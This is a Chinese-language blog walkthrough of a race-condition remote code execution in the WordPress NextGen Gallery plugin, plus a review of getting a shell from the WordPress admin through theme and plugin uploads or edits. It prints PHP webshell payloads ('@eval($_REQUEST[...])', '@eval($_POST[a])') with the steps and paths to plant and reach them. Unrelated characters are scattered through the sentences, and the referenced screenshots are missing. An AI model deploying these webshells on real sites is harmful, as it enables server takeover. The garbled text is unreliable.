Nextgen-Gallery條件競爭getshell
插件歷史版本地址:https://wordpress.org/plugins/nextgen-gallery/advanced/
這是今年7月份左右公布的條件競爭RCE,出現(xiàn)在熱門圖形管理插件nextgen-gallery上,3.2.2以前版本通用(筆者測試適用范圍下限應(yīng)該是2.0.0扇售,即影響范圍2.0.0-3.2.2),最新版本3.2.18(截至筆者發(fā)稿)挪蹭。
<?php
file_put_contents('../../a.php', '<?php @eval($_REQUEST["a"]);?>');
?>
將木馬和圖片(>800張)壓縮在一塊:
使用nextgen-gallery上傳:
查看當(dāng)前生成的臨時目錄:
得到我們的create.php路徑:
http://127.0.0.1/wordpress4912/wp-content/uploads/unpacked-php12A.tmp/payload/create.php
訪問使其執(zhí)行,,將會生成如下文件:
接下來,你明白我的意思吧:
參考鏈接:https://medium.com/websec/wordpress-nextgen-gallery-race-condition-to-rce-d64695ef3d5c
到這里了休偶,側(cè)面再確認(rèn)下梁厉,如果我們沒有造成條件競爭會如何?
界面回復(fù)圖像獲取失敗踏兜,臨時文件不會保留词顾,當(dāng)然這也完全符合正常的開發(fā)邏輯。
補充
Wordpress后臺上傳Getshell的常規(guī)方法其實已經(jīng)公開多年了碱妆,在此順便簡單回顧下:簡單歸納就是Wordpress的插件和主題功能均支持上傳或在線編輯功能造成了getshell肉盹。
上傳Getshell
上傳一個壓縮了木馬的zip,或者在官方主題中加入木馬重新打包然后上傳稍隱蔽些疹尾。
木馬文件出現(xiàn)在如下位置:
http://127.0.0.1/wordpress321/wp-content/themes/zhuti/zhuti.php
同理插件功能:
木馬文件出現(xiàn)在如下位置:
http://127.0.0.1/wordpress321/wp-content/plugins/chajian/chajian.php
編輯Getshell
打開任意想要更改的主題組件:
在php標(biāo)簽內(nèi)插入木馬:
@eval($_POST[a]);
提交更改上忍,如下成功:
在這里查看當(dāng)前選擇主題,當(dāng)前選擇的編輯文件:
從而得到我們的木馬路徑:
http://127.0.0.1/wordpress321/wp-content/themes/twentyeleven/404.php
同理插件編輯
http://127.0.0.1/wordpress321/wp-content/plugins/akismet/akismet.php